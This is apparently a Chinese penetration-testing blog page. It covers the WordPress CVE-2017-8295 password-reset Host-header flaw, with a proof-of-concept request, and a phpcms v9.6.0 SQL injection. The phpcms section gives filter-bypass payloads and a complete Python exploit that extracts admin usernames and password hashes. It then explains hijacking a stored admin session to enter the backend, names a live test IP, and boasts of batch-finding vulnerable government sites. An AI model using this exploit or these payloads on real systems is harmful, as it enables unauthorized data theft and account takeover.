0day来袭WordPress Core <= 4.7.4全版本密码重置漏洞 渗透测试
这两天的wordpress总是不平静....今天刚刚爆出0day....
漏洞概述
漏洞编号:CVE-2017-8295
漏洞发现者:dawid_golunski
漏洞危害:中/高
影响版本:WordPress Core <= 4.7.4
漏洞描述:Wordpress的密码重置功能,其中存在漏洞在某些情况下可能允许攻击者在未经身份验证的情况下获取密码重置链接。这种攻击可导致攻击者获得未经授权的WordPress帐户访问权限。该漏洞的触发条件比较苛刻。
漏洞细节
默认情况下,该漏洞由于WordPress使用不受信任的数据。当进行密码重置时,系统会发送相关密码重置链接到所有者帐户相关联的电子邮件。
这可以在创建From的代码片段中观察到
调用PHP mail()函数前的电子邮件头:
------[ wp-includes/pluggable.php ]------ ... if ( !isset( $from_email ) ) { // Get the site domain and get rid of www. $sitename = strtolower( $_SERVER['SERVER_NAME'] ); if ( substr( $sitename, 0, 4 ) == 'www.' ) { $sitename = substr( $sitename, 4 ); } $from_email = 'wordpress@' . $sitename; } ...
我们可以看到,Wordpress正在使用SERVER_NAME变量来获取主机名,该服务器为了创建一个From / Return-Path 地址,包含重置密码的相关信息的电子邮件。但是,Web服务器(如Apache)使用客户端提供的主机名默认设置SERVER_NAME变量
(在HTTP_HOST 头内):
https://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname
因为SERVER_NAME可以修改,攻击者可以将其设置为任意他选择的域。例如:
attackers-mxserver.com
这将导致Wordpress将$ from_email设置为
并因此导致发送电子邮件与From / Return-Path设置为此恶意地址。
至于攻击者能够修改哪个电子邮件头 - From / Return-Path,这取决于服务器环境。更多可以阅读
http://php.net/manual/en/function.mail.php
From头在Windows下还设置了Return-Path。
根据邮件服务器的配置,可能会导致发送给受害者WordPress用户的电子邮件头中设置的恶意的From / Return-Path地址。
这可能允许攻击者拦截包含该邮件的邮件,密码重置链接在某些情况下需要用户交互以及没有用户互动。
一些示例场景:
如果攻击者知道受害者用户的电子邮件地址。他们可以执行先前的操作DoS攻击受害者的电子邮件帐户(例如发送多个邮件)大文件超过用户的磁盘配额或攻击DNS服务器)
导致密码重置邮件被接收服务器拒绝到达目的地,从而在攻击者的服务器上接收邮件。
一些自动回复者可能附上发送到该机构的电子邮箱的副本
自动回复的消息
发送多个密码重置电子邮件强制用户回复
消息查询说明无限密码重置电子邮件。
包含密码链接的回复将被发送给攻击者。
等等
概念证明
如果攻击者将类似于下面的请求发送到默认的Wordpress
-----[ HTTP Request ]---- POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: injected-attackers-mxserver.com Content-Type: application/x-www-form-urlencoded Content-Length: 56 user_login=admin&redirect_to=&wp-submit=Get+New+Password ------------------------
Wordpress将触发管理员用户帐户的密码重置功能。
由于修改了HOST 头,SERVER_NAME将被设置为攻击者设置的主机名。因此,Wordpress会将以下标题和电子邮件正文传递给/ usr / bin / sendmail:
------[ resulting e-mail ]----- Subject: [CompanyX WP] Password Reset Return-Path: <[email protected]> From: WordPress <[email protected]> Message-ID: <[email protected]> X-Priority: 3 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit
假如有人要求为以下帐户重设密码:
http://companyX-wp/wp/wordpress/
Username: admin
要重置密码,请访问以下地址:如果这是一个误会,只要忽略这封电子邮件,什么都不会发生。
< http://companyX-wp/wp/wordpress/wp-login.php?action = rp&key = AceiMFmkMR4fsmwxIZtZ&login = admin>
我们可以看到,Return-Path/From和Message-ID的字段都有攻击者设置的域。
可以使用一个bash脚本替换/ usr / sbin / sendmail来执行头文件的验证
bash脚本:
#!/bin/bash
cat > /tmp/outgoing-email
解决方案
目前没有官方解决方案可用。作为临时解决方案,用户可以启用UseCanonicalName强制执行静态SERVER_NAME值
https://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname
这个问题首先向WordPress安全团队多次报道,第一份报告于2016年7月发送。
由于这种情况没有进展,没有官方补丁,开始向公众发布。
参考
https://w3techs.com/technologies/details/cm-wordpress/all/all
https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html
phpcms_v9.6.0_sql注入与exp 渗透测试
phpcms_v9.6.0_sql注入分析
可疑的函数
localhost/phpcms/modules/attachment/attachments.php文件的第241GET提交src变量带上了safe_relace函数,现在我们跟入这个该死的过滤函数看看它到底在搞什么鬼....*/
2.过滤函数剖析和绕过
localhost/phpcms/libs/functions/global.func.php文件的63行开始可以看到此处将传入的%27和%2527都进行删除处理也就是还没传入数据库前就已经被该死的程序吃了,但是在67行看到他还吃了*这样我们就有办法了也就是传入%*27程序吃掉星号后%27就会被传入。*/
3.src变量到底去哪了
/*这里不做截图请回到第一步的截图查看,在241行代码src传入arr数组后在243行被json_encode函数加密为json格式后传入json_str数组,然后在244行代码又将json加密为cookie。在这里我做个大胆的假设src存在注入那么我们要传入参数:src=%*27 updatexml(1,concat(1,(user())),1)%23;那么我们传入的参数将会被json加密后最终成为了:{src:%*27 updatexml(1,concat(1,(user())),1)%23};再然后就是cookie加密这里不做计算cookie加密值需要的同学自己echo,假设暂且到这,它的最终这些动作都被赋值为swfupload_json函数。到此src变量故事以及完结请看下一章。*/
down.php的decode成全了我
/*在localhost/phpcms/modules/content/down.php的第14行代码将a_k变量进行了decode操作这样子我们把刚刚在src进行加密的SQL传入a_k他就会进行解密还原回json,17行 将json字符串解析成变量 -> parse_str 以 & 区分,将字符串解析成3个变量最后传入SQL为:{“aid":1,"src":"&id=%27 updatexml(1,concat(1,(user)),1)#&m=1&f=haha&modelid=2&catid=7&”,”filename”:””};此处可以看到之前%*27的*没了因为已经被他妈的狗比安全函数吃了*。最后我们看在第26行代码将id传入SQL字段id既然这样那就OK了我们尝试还原。*/
phpcms_v9.6.0_sql注入还原
1.访问/index.php?m=wap&c=index&a=init&siteid=1获取一个cookie值传入该死的src那块操作否则会没有身份
2.把这个傻逼cookie的值复制下来以POST传入userid_flash变量访问/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26不要问我URL编码里面是什么东西我会告诉你那是SQL的Payload
3.上一步我们已经获取到了通过json在通过cookie加密的SQL了因为他返回的cookie就是已经加密的SQLPayload现在我们传入到a_k变量看看到底发生了什么?
网上这个文档传的很快
作者我也不知道是谁
大家都把版权改成自己的
我也是醉了
有知情人士可留言~给人家一个版权
下面是EXP:
import requests,sys,urllib url = sys.argv[1] print 'Phpcms v9.6.0 SQLi Exploit Code By Luan' sqli_prefix = '%*27an*d%20' sqli_info = 'e*xp(~(se*lect%*2af*rom(se*lect co*ncat(0x6c75616e24,us*er(),0x3a,ver*sion(),0x6c75616e24))x))' sqli_password1 = 'e*xp(~(se*lect%*2afro*m(sel*ect co*ncat(0x6c75616e24,username,0x3a,password,0x3a,encrypt,0x6c75616e24) fr*om ' sqli_password2 = '_admin li*mit 0,1)x))' sqli_padding = '%23%26m%3D1%26f%3Dwobushou%26modelid%3D2%26catid%3D6' setp1 = url + '/index.php?m=wap&a=index&siteid=1' cookies = {} for c in requests.get(setp1).cookies: if c.name[-7:] == '_siteid': cookie_head = c.name[:6] cookies[cookie_head+'_userid'] = c.value cookies[c.name] = c.value print '[+] Get Cookie : ' + str(cookies) setp2 = url + '/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=' + sqli_prefix + urllib.quote_plus(sqli_info, safe='qwertyuiopasdfghjklzxcvbnm*') + sqli_padding for c in requests.get(setp2,cookies=cookies).cookies: if c.name[-9:] == '_att_json': sqli_payload = c.value print '[+] Get SQLi Payload : ' + sqli_payload setp3 = url + '/index.php?m=content&c=down&a_k=' + sqli_payload html = requests.get(setp3,cookies=cookies).content print '[+] Get SQLi Output : ' + html.split('luan$')[1] table_prefix = html[html.find('_download_data')-2:html.find( '_download_data')] print '[+] Get Table Prefix : ' + table_prefix setp2 = url + '/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=' + sqli_prefix + urllib.quote_plus(sqli_password1, safe='qwertyuiopasdfghjklzxcvbnm*') + table_prefix + urllib.quote_plus(sqli_password2, safe='qwertyuiopasdfghjklzxcvbnm*') + sqli_padding for c in requests.get(setp2,cookies=cookies).cookies: if c.name[-9:] == '_att_json': sqli_payload = c.value print '[+] Get SQLi Payload : ' + sqli_payload setp3 = url + '/index.php?m=content&c=down&a_k=' + sqli_payload html = requests.get(setp3,cookies=cookies).content print '[+] Get SQLi Output : ' + html.split('luan$')[1]
exp也是别人分享给我的
看起来作者应该是luan
测试地址:
122.9.16.209
成功截图:
不过呢,众所周知
phpcms的密文特别难解密
所以有个配合使用的方法
通过sql注入漏洞读取数据库信息
但是不能破解密码的情况下
可以绕过后台验证
phpcms数据库中表v9_session
保存着管理员登录的信息
而且字段sessionid保存着就是
已经登录管理后台的PHPSESSID
可以通过sql注入读取到这个值
并写入到自己的浏览器中。
直接访问后台地址:
/index.php?m=admin&c=index&a=public_menu_left
将数据库中的sessionid信息带入!
相关文章网上也有
最后,我还是觉得这个漏洞挺鸡肋的
至于哪里鸡肋请看官细细体会
还有几个更牛逼的漏洞也许
过几天就会有人放出来了
反正我不做第一个吃螃蟹的人了
怕被打死~
原文地址:https://zhuanlan.zhihu.com/p/26263513
PS:很多政府机关/事业单位都是phpcms,我批量检测里面有很多都中招了,赶紧升级吧!阿西吧...据说二月份就出来了...